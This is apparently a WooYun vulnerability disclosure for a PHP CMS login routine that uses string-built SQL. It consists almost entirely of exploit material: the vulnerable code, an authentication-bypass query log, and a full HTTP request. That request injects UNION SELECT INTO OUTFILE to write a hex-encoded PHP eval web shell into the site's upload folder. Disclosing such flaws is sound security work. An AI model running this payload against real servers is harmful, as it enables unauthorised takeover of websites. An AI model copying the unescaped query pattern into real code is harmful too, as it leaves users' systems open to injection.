WooYun.org

//登录判断
    function function_login() {
        session_start();
        function_safety();
        $username = function_cleanstr($_POST['username']);
        $password = md5($_POST['password']);
        $code = md5(strtoupper($_POST['code']));
        if ($username == '' or $password == '') {
            function_alert('用户名和密码不能为空！', 'index.php');
        }
        if ($code != $_SESSION['code']) {
            function_alert('验证码错误！', 'index.php');
        }
        if (!_query("SELECT * FROM magacms_user WHERE username='$username' AND password='$password' LIMIT 1")) {
            function_alert('用户名和密码错误！', 'index.php');
        }
        $intime = date('Y-m-d H:i:s', time());
        $inip = function_getRealIp();
        // setcookie('username',  md5($username)); //采用cookie记忆登录状态
        $_SESSION['username'] = $username; //采用session记忆登录状态
        _update("UPDATE magacms_user SET intime='$intime',inip='$inip' WHERE username='$username'");
        function_alert('', 'admin_main.php');
    }

//字符串格式化
function function_cleanstr($str) {
    $newstr = htmlspecialchars(trim($str)); //删除两侧空格并转码html
    return $newstr;
}

241 Query	SELECT * FROM magacms_user WHERE username='admin' OR 'A'='A' AND password='0cc175b9c0f1b6a831c399e269772661' LIMIT 1

POST /wwzzs/admin/?action=login HTTP/1.1
Host: localhost:808
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://202.113.76.211:808/wwzzs/admin/
Cookie: PHPSESSID=923954107451195a03f88567d6fa0acc
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 183
username=admin' and 1=2 UNION SELECT 0x3C3F70687020406576616C28245F504F53545B2741275D293B3F3E,2,3,4,5 into outfile 'E:/phpStudy/WWW/wwzzs/upload/bannerpic/t.php'#&password=a&code=A56M

249 Query	SELECT * FROM magacms_user WHERE username='admin' and 1=2 UNION SELECT 0x3C3F70687020406576616C28245F504F53545B2741275D293B3F3E,2,3,4,5 into outfile 'E:/phpStudy/WWW/wwzzs/upload/bannerpic/t.php'#' AND password='0cc175b9c0f1b6a831c399e269772661' LIMIT 1